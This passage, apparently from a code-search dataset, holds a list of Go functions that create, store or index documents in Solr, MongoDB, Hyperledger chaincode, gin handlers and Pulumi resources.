err)\n\t}\n\n\tlogger.Debugf(\"Sending request to create the following document: %s\", jsonToSend)\n\n\tstatusCode, httpHdr, respBytes, err := c.sendHTTPRequest(http.MethodPost,\n\t\tc.edvServerURL+fmt.Sprintf(\"/%s/documents\", url.PathEscape(vaultID)), jsonToSend, c.getHeaderFunc(reqOpt))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif statusCode == http.StatusCreated {\n\t\treturn httpHdr.Get(\"Location\"), nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"the EDV server returned status code %d along with the following message: %s\",\n\t\tstatusCode, respBytes)\n}","func (t MatchTask) addSentenceWithOffset(contextMarker string, words []string, offset int) {\n\tvar sentence = Sentence{offset, words}\n\n\tt.sentenceByContextMarker[contextMarker] = sentence\n}","func (r *MongoRepository) add(definition *Definition) error {\n\tsession, coll := r.getSession()\n\tdefer session.Close()\n\n\tisValid, err := definition.Validate()\n\tif false == isValid && err != nil {\n\t\tlog.WithError(err).Error(\"Validation errors\")\n\t\treturn err\n\t}\n\n\t_, err = coll.Upsert(bson.M{\"name\": definition.Name}, definition)\n\tif err != nil {\n\t\tlog.WithField(\"name\", definition.Name).Error(\"There was an error adding the resource\")\n\t\treturn err\n\t}\n\n\tlog.WithField(\"name\", definition.Name).Debug(\"Resource added\")\n\treturn nil\n}","func (t *OpetCode) createDocument(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n if len(args) != 3 {\n return shim.Error(\"Incorrect number of arguments. Expecting 3\")\n }\n\n user_uid := args[0]\n uid := args[1]\n json_props := args[2]\n doc_key, _ := APIstub.CreateCompositeKey(uid, []string{DOCUMENT_KEY})\n user_key, _ := APIstub.CreateCompositeKey(user_uid, []string{USER_KEY})\n\n if _, err := t.loadDocument(APIstub, doc_key); err == nil {\n return shim.Error(\"Document already exists\")\n }\n\n user, err := t.loadUser(APIstub, user_key)\n if err != nil {\n return shim.Error(fmt.Sprintf(\"The %s user doesn't not exist\", user_uid))\n }\n user.Documents = append(user.Documents, uid)\n\n\n new_doc := new(Document)\n new_doc.Data = make(map[string]interface{})\n err = json.Unmarshal([]byte(json_props), &new_doc.Data)\n if err != nil {\n return shim.Error(\"Can't parse json props\")\n }\n\n new_doc_json, _ := json.Marshal(new_doc)\n APIstub.PutState(doc_key, new_doc_json)\n\n user_json, _ := json.Marshal(user)\n APIstub.PutState(user_key, user_json)\n\n return shim.Success(nil)\n}","func (c *Corpus) Add(vals ...string) bool {\n\tfor _, v := range vals {\n\t\tif _, ok := c.words[v]; !ok {\n\t\t\tc.Size++\n\t\t\tc.words[v] = true\n\t\t}\n\t}\n\treturn true\n}","func add(mgr manager.Manager, r reconcile.Reconciler) error {\n\t// Create a new controller\n\tc, err := controller.New(\"mongodbatlasdatabase-controller\", mgr, controller.Options{Reconciler: r})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Watch for changes to primary resource MongoDBAtlasDatabase\n\terr = c.Watch(&source.Kind{Type: &knappekv1alpha1.MongoDBAtlasDatabase{}}, &handler.EnqueueRequestForObject{})\n// err = c.Watch(&source.Kind{Type: &MongoDBAtlasDatabase{}}, &handler.EnqueueRequestForObject{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func PutDoc(c *gin.Context) {\n\tvar doc Document\n\tstore := c.MustGet(\"store\").(*Store)\n\ttxn, have_txn := c.Get(\"NewRelicTransaction\")\n\tkey := c.Param(\"key\")\n\n\terr := c.ShouldBindJSON(&doc)\n\tif err != nil {\n\t\tif have_txn {\n\t\t\ttxn.(newrelic.Transaction).NoticeError(err)\n\t\t}\n\t\tc.JSON(http.StatusUnprocessableEntity, \"\")\n\t\treturn\n\t}\n\n\tstore.Set(key, doc)\n\tc.JSON(http.StatusNoContent, nil)\n}","func (c Client) Create(input *CreateDocumentInput) (*CreateDocumentResponse, error) {\n\treturn c.CreateWithContext(context.Background(), input)\n}","func ConvertDoc(r io.Reader) (string, map[string]string, error) {\n\tf, err := NewLocalFile(r, \"/tmp\", \"sajari-convert-\")\n\tif err != nil {\n\t\treturn \"\", nil, fmt.Errorf(\"error creating local file: %v\", err)\n\t}\n\tdefer f.Done()\n\n\t// Meta data\n\tmc := make(chan map[string]string, 1)\n\tgo func() {\n\t\tmeta := make(map[string]string)\n\t\tmetaStr, err := exec.Command(\"wvSummary\", f.Name()).Output()\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"wvSummary:\", err)\n\t\t}\n\n\t\t// Parse meta output\n\t\tinfo := make(map[string]string)\n\t\tfor _, line := range strings.Split(string(metaStr), \"\\n\") {\n\t\t\tif parts := strings.SplitN(line, \"=\", 2); len(parts) > 1 {\n\t\t\t\tinfo[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])\n\t\t\t}\n\t\t}\n\n\t\t// Convert parsed meta\n\t\tif tmp, ok := info[\"Last Modified\"]; ok {\n\t\t\tif t, err := time.Parse(time.RFC3339, tmp); err == nil {\n\t\t\t\tmeta[\"ModifiedDate\"] = fmt.Sprintf(\"%d\", t.Unix())\n\t\t\t}\n\t\t}\n\t\tif tmp, ok := info[\"Created\"]; ok {\n\t\t\tif t, err := time.Parse(time.RFC3339, tmp); err == nil {\n\t\t\t\tmeta[\"CreatedDate\"] = fmt.Sprintf(\"%d\", t.Unix())\n\t\t\t}\n\t\t}\n\n\t\tmc <- meta\n\t}()\n\n\t// Document body\n\tbc := make(chan string, 1)\n\tgo func() {\n\n\t\t// Save output to a file\n\t\toutputFile, err := ioutil.TempFile(\"/tmp\", \"sajari-convert-\")\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"TempFile Out:\", err)\n\t\t\treturn\n\t\t}\n\t\tdefer os.Remove(outputFile.Name())\n\n\t\terr = exec.Command(\"wvText\", f.Name(), outputFile.Name()).Run()\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"wvText:\", err)\n\t\t}\n\n\t\tvar buf bytes.Buffer\n\t\t_, err = buf.ReadFrom(outputFile)\n\t\tif err != nil {\n\t\t\t// TODO: Remove this.\n\t\t\tlog.Println(\"wvText:\", err)\n\t\t}\n\n\t\tbc <- buf.String()\n\t}()\n\n\t// TODO: Should errors in either of the above Goroutines stop things from progressing?\n\tbody := <-bc\n\tmeta := <-mc\n\n\t// TODO: Check for errors instead of len(body) == 0?\n\tif len(body) == 0 {\n\t\tf.Seek(0, 0)\n\t\treturn ConvertDocx(f)\n\t}\n\treturn body, meta, nil\n}","func (r Dictionary) Add(word string, definition string) error {\n\t_, err := r.Search(word)\n\tswitch err {\n\tcase ErrWordNotFound:\n\t\tr[word] = definition\n\tcase nil:\n\t\treturn ErrKeyWordDuplicate\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}","func (m *CFDocument) Init(uriPrefix string, baseName string) {\n\trandomSuffix, _ := random()\n\tname := \"http://frameworks.act.org/CFDocuments/\" + baseName + \"/\" + randomSuffix\n\n\tid := uuid.NewV5(uuid.NamespaceDNS, name)\n\n\tm.URI = uriPrefix + \"/CFDocuments/\" + id.String()\n\tm.CFPackageURI = uriPrefix + \"/CFPackages/\" + id.String()\n\tm.Identifier = id.String()\n\tm.Creator = \"subjectsToCase\"\n\tm.Title = baseName\n\tm.Description = baseName\n\tt := time.Now()\n\tm.LastChangeDateTime = fmt.Sprintf(\"%d-%02d-%02dT%02d:%02d:%02d+00:00\",\n\t\tt.Year(), t.Month(), t.Day(),\n\t\tt.Hour(), t.Minute(), t.Second())\n}","func (i *TelegramBotAPI) SendDocument(userID int64, file interface{}) {\n\tmsg := tgbotapi.NewDocumentUpload(userID, file)\n\t_, err := i.API.Send(msg)\n\tlog.WithError(err)\n\treturn\n}","func (s *ReleaseService) AddTextRelease(r *Release, authToken string) (*Release, error) {\n\tvar (\n\t\tmethod = http.MethodPost\n\t\tpath = fmt.Sprintf(\"/releases\")\n\t)\n\treq := s.client.newRequest(path, method)\n\taddJWTToRequest(req, authToken)\n\tr.Type = Text\n\terr := addBodyToRequestAsJSON(req, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.addRelease(req)\n}","func (s *SiteSearchTagsDAO) AddTagsSearchIndex(docID string, doctype string, tags []string) error {\n\n\tfor _, v := range tags {\n\n\t\tcount, err := s.Exists(v)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error attempting to get record count for keyword %s with error %s\", v, err)\n\t\t}\n\n\t\tlog.Info().Msgf(\"Found %d site search tag records for keyworkd %s\", count, v)\n\n\t\t// Determine if the document exists already\n\t\tif count == 0 {\n\t\t\tlog.Info().Msgf(\"]Tag does not exist for %s in the database\", v)\n\t\t\tvar newSTM models.SiteSearchTagsModel\n\t\t\tnewSTM.Name = v\n\t\t\tnewSTM.TagsID = models.GenUUID()\n\t\t\tvar doc models.Documents\n\t\t\tvar docs []models.Documents\n\t\t\tdoc.DocType = doctype\n\t\t\tdoc.DocumentID = docID\n\t\t\tdocs = append(docs, doc)\n\n\t\t\tnewSTM.Documents = docs\n\t\t\tlog.Info().Msgf(\"Inserting new tag %s into database\", v)\n\t\t\terr = s.InsertSiteSearchTags(&newSTM)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error inserting new site search tag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Tag %s inserted successfully\", v)\n\t\t\t// If not, then we add to existing documents\n\t\t} else {\n\n\t\t\tstm, err := s.GetSiteSearchTagByName(v)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error getting current instance of searchtag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Found existing searchtagid record for %s\", stm.Name)\n\t\t\t//fmt.Println(mtm.Documents)\n\n\t\t\t// Get the list of documents\n\t\t\tdocs := stm.Documents\n\n\t\t\t// For the list of documents, find the document ID we are looking for\n\t\t\t// If not found, then we update the document list with the document ID\n\t\t\tfound := false\n\t\t\tfor _, d := range docs {\n\t\t\t\tif d.DocumentID == v {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found {\n\t\t\t\tlog.Info().Msgf(\"Updating tag, %s with document id %s\", v, docID)\n\t\t\t\tvar doc models.Documents\n\t\t\t\tdoc.DocType = doctype\n\t\t\t\tdoc.DocumentID = docID\n\t\t\t\tdocs = append(docs, doc)\n\t\t\t\tstm.Documents = docs\n\t\t\t\t//fmt.Println(mtm)\n\t\t\t\terr = s.UpdateSiteSearchTags(&stm)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error updating searchtag for keyword %s with error %s\", v, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}"],"string":"[\n \"func AddDocument(clientId string, doc *ClientDocument, entitiesFound []*Entity, themes []uint64) error {\\n\\n\\tcd := \\\"clientdocuments_\\\" + clientId\\n\\n\\tsi, err := solr.NewSolrInterface(solrUrl, cd)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar englishEntities, entities []string\\n\\tfor _, entity := range entitiesFound {\\n\\t\\tenglishEntities = append(englishEntities, entity.UrlPageTitle)\\n\\t\\tentities = append(entities, entity.UrlPageTitle)\\n\\t}\\n\\n\\tvar documents []solr.Document\\n\\tclientDocument := make(solr.Document)\\n\\tclientDocument.Set(\\\"documentID\\\", doc.ClientDocumentShort.DocumentID)\\n\\tclientDocument.Set(\\\"documentTitle\\\", doc.DocumentTitle)\\n\\tclientDocument.Set(\\\"document\\\", doc.Document)\\n\\tclientDocument.Set(\\\"languageCode\\\", doc.LanguageCode)\\n\\tclientDocument.Set(\\\"createdAt\\\", doc.CreatedAt)\\n\\tclientDocument.Set(\\\"sentiment\\\", doc.Sentiment)\\n\\tclientDocument.Set(\\\"themes\\\", themes)\\n\\tclientDocument.Set(\\\"entities\\\", entities)\\n\\tclientDocument.Set(\\\"englishEntities\\\", englishEntities)\\n\\tdocuments = append(documents, clientDocument)\\n\\n\\t_, err = si.Add(documents, 1, nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error while adding document to Solr. No such core exists\\\")\\n\\t}\\n\\n\\terr = Reload(cd)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func DocumentAdd(docs []Document) {\\n\\tlen := len(documents)\\n\\tfor i := range docs {\\n\\t\\tdocs[i].SetID(uint64(len + i))\\n\\t\\tdocuments = append(documents, docs[i])\\n\\t}\\n\\n\\tindexDocuments.add(docs)\\n}\",\n \"func process(document string) {\\n\\tfmt.Printf(\\\"\\\\n> %v\\\\n\\\\n\\\", document)\\n\\t// the sanitized document\\n\\tdoc := san.GetDocument(document)\\n\\tif len(doc) < 1 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// classification of this document\\n\\t//fmt.Printf(\\\"---> %s\\\\n\\\", doc)\\n\\tscores, inx, _ := clssfier.ProbScores(doc)\\n\\tlogScores, logInx, _ := clssfier.LogScores(doc)\\n\\tclass := clssfier.Classes[inx]\\n\\tlogClass := clssfier.Classes[logInx]\\n\\n\\t// the rate of positive sentiment\\n\\tposrate := float64(count[0]) / float64(count[0]+count[1])\\n\\tlearned := \\\"\\\"\\n\\n\\t// if above the threshold, then learn\\n\\t// this document\\n\\tif scores[inx] > *thresh {\\n\\t\\tclssfier.Learn(doc, class)\\n\\t\\tlearned = \\\"***\\\"\\n\\t}\\n\\n\\t// print info\\n\\tprettyPrintDoc(doc)\\n\\tfmt.Printf(\\\"%7.5f %v %v\\\\n\\\", scores[inx], class, learned)\\n\\tfmt.Printf(\\\"%7.2f %v\\\\n\\\", logScores[logInx], logClass)\\n\\tif logClass != class {\\n\\t\\t// incorrect classification due to underflow\\n\\t\\tfmt.Println(\\\"CLASSIFICATION ERROR!\\\")\\n\\t}\\n\\tfmt.Printf(\\\"%7.5f (posrate)\\\\n\\\", posrate)\\n\\t//fmt.Printf(\\\"%5.5f (high-probability posrate)\\\\n\\\", highrate)\\n}\",\n \"func (a *attachUp) AddDoc(p, n string) AttachmentUploader {\\n\\ta.d = append(a.d, p)\\n\\tif n == \\\"\\\" {\\n\\t\\tn = filepath.Base(p)\\n\\t}\\n\\ta.dn = append(a.dn, n)\\n\\treturn a\\n}\",\n \"func (c *Classifier) AddContent(name string, content []byte) {\\n\\tdoc := tokenize(content)\\n\\tc.addDocument(name, doc)\\n}\",\n \"func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\\n\\tif d, exists := s.documents[uri]; exists {\\n\\t\\tpanic(fmt.Errorf(\\\"Attempting to create a document that already exists. %+v\\\", d))\\n\\t}\\n\\td := &Document{}\\n\\td.uri = uri\\n\\td.path, _ = URItoPath(uri)\\n\\td.language = language\\n\\td.version = version\\n\\td.server = s\\n\\td.body = body\\n\\ts.documents[uri] = d\\n\\treturn d\\n}\",\n \"func (wt *WaterTower) AddTagToDocument(tag, uniqueKey string) error {\\n\\treturn nil\\n}\",\n \"func newDoc(c *gin.Context) {\\n\\tkey := uuid.New()\\n\\tres := saveDocument(key, c)\\n\\tif res.Ok == false {\\n\\t\\tif res.Message == \\\"file exists\\\" {\\n\\t\\t\\tc.JSON(fileExistsErr, res)\\n\\t\\t} else {\\n\\t\\t\\tlog.Printf(\\\"Error saving document: %s\\\", res.Error)\\n\\t\\t\\tc.JSON(statusErr, res)\\n\\t\\t}\\n\\t} else {\\n\\t\\tc.JSON(statusOk, res)\\n\\t}\\n}\",\n \"func (this *Corpus) AddDoc(docId uint32, wcs []*WordCount) {\\n\\tif this.Docs == nil {\\n\\t\\tthis.Docs = make(map[uint32][]*WordCount)\\n\\t}\\n\\tif _, ok := this.Docs[docId]; ok {\\n\\t\\tlog.Warningf(\\\"document %d already exists, associated value will be overwritten\\\")\\n\\t}\\n\\tthis.Docs[docId] = wcs\\n}\",\n \"func NewDocument(class Class, tokens ...string) Document {\\n\\treturn Document{\\n\\t\\tClass: class,\\n\\t\\tTokens: tokens,\\n\\t}\\n}\",\n \"func (d *Doc) AddText(x, y float64, content string) error {\\n\\td.SetPosition(x, y)\\n\\tif err := d.GoPdf.Cell(nil, content); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error adding text to PDF: %s\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\\n\\tid := &indexedDocument{\\n\\t\\tTokens: make([]indexedToken, 0, len(d.Tokens)),\\n\\t\\tdict: c.dict,\\n\\t}\\n\\n\\tfor _, t := range d.Tokens {\\n\\t\\tvar tokID tokenID\\n\\t\\tif addWords {\\n\\t\\t\\ttokID = id.dict.add(t.Text)\\n\\t\\t} else {\\n\\t\\t\\ttokID = id.dict.getIndex(t.Text)\\n\\t\\t}\\n\\n\\t\\tid.Tokens = append(id.Tokens, indexedToken{\\n\\t\\t\\tIndex: t.Index,\\n\\t\\t\\tLine: t.Line,\\n\\t\\t\\tID: tokID,\\n\\t\\t})\\n\\n\\t}\\n\\tid.generateFrequencies()\\n\\tid.runes = diffWordsToRunes(id, 0, id.size())\\n\\tid.norm = id.normalized()\\n\\treturn id\\n}\",\n \"func (x *Indexer) Add(doc *Doc) error {\\n\\tdid, err := x.doc2Id(doc)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdoc.Path = \\\"\\\"\\n\\tx.shatter <- &shatterReq{docid: did, offset: doc.Start, d: doc.Dat}\\n\\treturn nil\\n}\",\n \"func(s *SetImp) AddString(doc string, t TargetFactory) (string, os.Error) {\\n\\tsplit := strings.SplitAfter(doc, \\\"\\\\n\\\", 0)\\n\\treturn s.Add(split, t)\\n}\",\n \"func AddDocumentary(w http.ResponseWriter, r *http.Request) {\\n\\tdecoder := json.NewDecoder(r.Body)\\n\\tvar data models.Documentary\\n\\terr := decoder.Decode(&data)\\n\\n\\tif err != nil {\\n\\t\\thttpext.AbortAPI(w, err.Error(), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\tdocumentary, err := watchlist.AddDocumentary(data, r)\\n\\n\\tif err != nil {\\n\\t\\thttpext.AbortAPI(w, err.Error(), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\thttpext.SuccessDataAPI(w, \\\"'\\\"+documentary.Title+\\\"' added succesfully\\\", documentary)\\n}\",\n \"func (d *Document) Add() *Document {\\n\\treturn d\\n}\",\n \"func SaveQueryTextWordMatch(q *QueryTextWordMatch) {\\n\\tsession, err := mgo.Dial(\\\"mongodb://localhost\\\")\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tcollQueriesTextWordMatch := common.GetCollection(session, \\\"queries.textwordmatch\\\")\\n\\n\\terr = collQueriesTextWordMatch.Insert(q)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n \\n}\",\n \"func (api DocumentAPI) Post(w http.ResponseWriter, r *http.Request) {\\n\\tcreateDocument(uuid.New().String(), w, r)\\n}\",\n \"func (ts *TechStoryService) addText (w http.ResponseWriter, r *http.Request) {\\n\\tvar techStory model.TechStory\\n\\ttechStory.Key = mux.Vars(r)[\\\"id\\\"]\\n\\n\\tvar text model.VersionedText\\n\\tmodel.ReadJsonBody(r, &text)\\n\\tWithTechStoryDao(func(dao techStoryDao) {\\n\\t\\tvtext := dao.AddText(techStory, text.Text)\\n\\t\\tmodel.WriteResponse(true, nil, vtext, w)\\n\\t})\\n}\",\n \"func (db *InMemDatabase) StoreDocument(t model.Document) (model.Document, error) {\\n\\tdb.currentId += 1\\n\\tt.Id = string(db.currentId)\\n\\tdb.documents = append(db.documents, t)\\n\\treturn t, nil\\n}\",\n \"func loadDocument(id, sc, fields interface{}) (index.Document, error) {\\n\\n\\tscore, err := strconv.ParseFloat(string(sc.([]byte)), 64)\\n\\tif err != nil {\\n\\t\\treturn index.Document{}, fmt.Errorf(\\\"Could not parse score: %s\\\", err)\\n\\t}\\n\\n\\tdoc := index.NewDocument(string(id.([]byte)), float32(score))\\n\\tlst := fields.([]interface{})\\n\\tfor i := 0; i < len(lst); i += 2 {\\n\\t\\tprop := string(lst[i].([]byte))\\n\\t\\tvar val interface{}\\n\\t\\tswitch v := lst[i+1].(type) {\\n\\t\\tcase []byte:\\n\\t\\t\\tval = string(v)\\n\\t\\tdefault:\\n\\t\\t\\tval = v\\n\\n\\t\\t}\\n\\t\\tdoc = doc.Set(prop, val)\\n\\t}\\n\\treturn doc, nil\\n}\",\n \"func newDocWithId(c *gin.Context) {\\n\\tkey := c.Params.ByName(\\\"id\\\")\\n\\tres := saveDocument(key, c)\\n\\tif res.Ok == false {\\n\\t\\tlog.Printf(\\\"Error saving document: %s\\\", res.Error)\\n\\t\\tc.JSON(statusErr, res)\\n\\t} else {\\n\\t\\tc.JSON(statusOk, res)\\n\\t}\\n}\",\n \"func (t *TrigramIndex) Add(doc string) int {\\n\\tnewDocID := t.maxDocID + 1\\n\\ttrigrams := ExtractStringToTrigram(doc)\\n\\tfor _, tg := range trigrams {\\n\\t\\tvar mapRet IndexResult\\n\\t\\tvar exist bool\\n\\t\\tif mapRet, exist = t.TrigramMap[tg]; !exist {\\n\\t\\t\\t//New doc ID handle\\n\\t\\t\\tmapRet = IndexResult{}\\n\\t\\t\\tmapRet.DocIDs = make(map[int]bool)\\n\\t\\t\\tmapRet.Freq = make(map[int]int)\\n\\t\\t\\tmapRet.DocIDs[newDocID] = true\\n\\t\\t\\tmapRet.Freq[newDocID] = 1\\n\\t\\t} else {\\n\\t\\t\\t//trigram already exist on this doc\\n\\t\\t\\tif _, docExist := mapRet.DocIDs[newDocID]; docExist {\\n\\t\\t\\t\\tmapRet.Freq[newDocID] = mapRet.Freq[newDocID] + 1\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t//tg eixist but new doc id is not exist, add it\\n\\t\\t\\t\\tmapRet.DocIDs[newDocID] = true\\n\\t\\t\\t\\tmapRet.Freq[newDocID] = 1\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t//Store or Add result\\n\\t\\tt.TrigramMap[tg] = mapRet\\n\\t}\\n\\n\\tt.maxDocID = newDocID\\n\\tt.docIDsMap[newDocID] = true\\n\\treturn newDocID\\n}\",\n \"func (s Service) CreateDocument(ctx context.Context, req documents.UpdatePayload) (documents.Model, error) {\\n\\treturn s.pendingDocSrv.Create(ctx, req)\\n}\",\n \"func NewDocument(ctx *pulumi.Context,\\n\\tname string, args *DocumentArgs, opts ...pulumi.ResourceOption) (*Document, error) {\\n\\tif args == nil || args.Content == nil {\\n\\t\\treturn nil, errors.New(\\\"missing required argument 'Content'\\\")\\n\\t}\\n\\tif args == nil || args.DocumentType == nil {\\n\\t\\treturn nil, errors.New(\\\"missing required argument 'DocumentType'\\\")\\n\\t}\\n\\tif args == nil {\\n\\t\\targs = &DocumentArgs{}\\n\\t}\\n\\tvar resource Document\\n\\terr := ctx.RegisterResource(\\\"aws:ssm/document:Document\\\", name, args, &resource, opts...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &resource, nil\\n}\",\n \"func (s *BoltBackedService) PostDocument(ctx context.Context, d *Document) error {\\n\\tif err := d.SaveDoc(*s.db); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *WordModel) AddWord(word string, freqCount float32) {\\n\\tm.builder.Add(word)\\n\\tm.frequencies = append(m.frequencies, freqCount)\\n}\",\n \"func CreateDocument(name, number, categoryUID string, fields map[string]string, document []byte) (Document, error) {\\n\\tvar doc Document\\n\\tuid, err := uuid.NewV4()\\n\\tif err != nil {\\n\\t\\treturn Document{}, err\\n\\t}\\n\\tdoc.UID = \\\"doc\\\" + uid.String()\\n\\tdoc.Name = name\\n\\tdoc.Number = number\\n\\tdoc.Fields = fields\\n\\tdoc.Doc = document\\n\\tcategory, err := GetCategory(categoryUID)\\n\\tdoc.Category = category\\n\\tdoc.Doc = document\\n\\tif err != nil {\\n\\t\\treturn Document{}, err\\n\\t}\\n\\terr = database.DATABASE.Set(doc.UID, doc)\\n\\tif err != nil {\\n\\t\\treturn Document{}, err\\n\\t}\\n\\treturn doc, nil\\n}\",\n \"func NewDocument() *Document {\\n\\treturn &Document{documents: make(map[string]flare.Document)}\\n}\",\n \"func (manager *defaultDocumentManager) Register(targetDocument string, document interface{}) error {\\n\\tdocumentType := reflect.TypeOf(document)\\n\\tif documentType.Kind() != reflect.Ptr {\\n\\t\\treturn ErrNotAPointer\\n\\t}\\n\\tif documentType.Elem().Kind() != reflect.Struct {\\n\\t\\treturn ErrNotAstruct\\n\\t}\\n\\tmeta, err := getTypeMetadatas(document)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tmeta.structType = documentType\\n\\tmeta.targetDocument = targetDocument\\n\\t// parser := tag.NewParser(strings.NewReader(s string) )\\n\\tmanager.metadatas[documentType] = meta\\n\\n\\tmanager.log(\\\"Type registered :\\\", targetDocument, meta)\\n\\treturn nil\\n}\",\n \"func (b *Batch) Add(fields map[string]interface{}, tags []string, body string) {\\n\\tb.docs = append(b.docs, massDoc{fields: fields, tags: tags, body: body})\\n}\",\n \"func NewDocument(ctx *pulumi.Context,\\n\\tname string, args *DocumentArgs, opts ...pulumi.ResourceOpt) (*Document, error) {\\n\\tif args == nil || args.Content == nil {\\n\\t\\treturn nil, errors.New(\\\"missing required argument 'Content'\\\")\\n\\t}\\n\\tif args == nil || args.DocumentType == nil {\\n\\t\\treturn nil, errors.New(\\\"missing required argument 'DocumentType'\\\")\\n\\t}\\n\\tinputs := make(map[string]interface{})\\n\\tif args == nil {\\n\\t\\tinputs[\\\"content\\\"] = nil\\n\\t\\tinputs[\\\"documentFormat\\\"] = nil\\n\\t\\tinputs[\\\"documentType\\\"] = nil\\n\\t\\tinputs[\\\"name\\\"] = nil\\n\\t\\tinputs[\\\"permissions\\\"] = nil\\n\\t\\tinputs[\\\"tags\\\"] = nil\\n\\t} else {\\n\\t\\tinputs[\\\"content\\\"] = args.Content\\n\\t\\tinputs[\\\"documentFormat\\\"] = args.DocumentFormat\\n\\t\\tinputs[\\\"documentType\\\"] = args.DocumentType\\n\\t\\tinputs[\\\"name\\\"] = args.Name\\n\\t\\tinputs[\\\"permissions\\\"] = args.Permissions\\n\\t\\tinputs[\\\"tags\\\"] = args.Tags\\n\\t}\\n\\tinputs[\\\"arn\\\"] = nil\\n\\tinputs[\\\"createdDate\\\"] = nil\\n\\tinputs[\\\"defaultVersion\\\"] = nil\\n\\tinputs[\\\"description\\\"] = nil\\n\\tinputs[\\\"hash\\\"] = nil\\n\\tinputs[\\\"hashType\\\"] = nil\\n\\tinputs[\\\"latestVersion\\\"] = nil\\n\\tinputs[\\\"owner\\\"] = nil\\n\\tinputs[\\\"parameters\\\"] = nil\\n\\tinputs[\\\"platformTypes\\\"] = nil\\n\\tinputs[\\\"schemaVersion\\\"] = nil\\n\\tinputs[\\\"status\\\"] = nil\\n\\ts, err := ctx.RegisterResource(\\\"aws:ssm/document:Document\\\", name, true, inputs, opts...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &Document{s: s}, nil\\n}\",\n \"func NewDocument(chainDoc *ChainDocument) *Document {\\n\\tcontentGroups := make([]*ContentGroup, 0, len(chainDoc.ContentGroups))\\n\\tcertificates := make([]*Certificate, 0, len(chainDoc.Certificates))\\n\\n\\tfor i, chainContentGroup := range chainDoc.ContentGroups {\\n\\t\\tcontentGroups = append(contentGroups, NewContentGroup(chainContentGroup, i+1))\\n\\t}\\n\\n\\tfor i, chainCertificate := range chainDoc.Certificates {\\n\\t\\tcertificates = append(certificates, NewCertificate(chainCertificate, i+1))\\n\\t}\\n\\n\\treturn &Document{\\n\\t\\tHash: chainDoc.Hash,\\n\\t\\tCreatedDate: ToTime(chainDoc.CreatedDate),\\n\\t\\tCreator: chainDoc.Creator,\\n\\t\\tContentGroups: contentGroups,\\n\\t\\tCertificates: certificates,\\n\\t\\tDType: []string{\\\"Document\\\"},\\n\\t}\\n}\",\n \"func NewDocument(url, site, title, content string) *Document {\\n\\tdoc := new(Document)\\n\\tdoc.DocID = uuid.NewV4().String()\\n\\tdoc.Url = url\\n\\tdoc.Site = site\\n\\tdoc.Title = title\\n\\tdoc.Content = content\\n\\n\\treturn doc\\n}\",\n \"func (sc *SolrConnector) AddDocuments(container interface{}, opt *SolrAddOption) <-chan []byte {\\n\\trecvChan := make(chan []byte)\\n\\n\\tvar err error\\n\\t// todo: size constrain should be placed here\\n\\tdefer func() {\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"Error occured, uploading document failed\\\")\\n\\t\\t}\\n\\t}()\\n\\tgo func(rC chan []byte) {\\n\\t\\tb, err := json.Marshal(container)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(\\\"Failed at marshaling json structure, \\\", err)\\n\\t\\t}\\n\\n\\t\\trespB, err := sc.PostUpdate(b)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(err)\\n\\t\\t}\\n\\t\\trC <- respB\\n\\t}(recvChan)\\n\\treturn recvChan\\n}\",\n \"func NewDocumentFromString(filename, data string) (Document, error) {\\n\\tif len(data) == 0 {\\n\\t\\treturn nil, fmt.Errorf(\\\"%s: string is empty\\\", filename)\\n\\t}\\n\\treturn &documentFromString{\\n\\t\\tdata,\\n\\t\\t&document{filename},\\n\\t}, nil\\n}\",\n \"func (t *TextUpdateSystem) Add(text *Text) {\\n\\tt.entities = append(t.entities, textEntity{text})\\n}\",\n \"func (sc 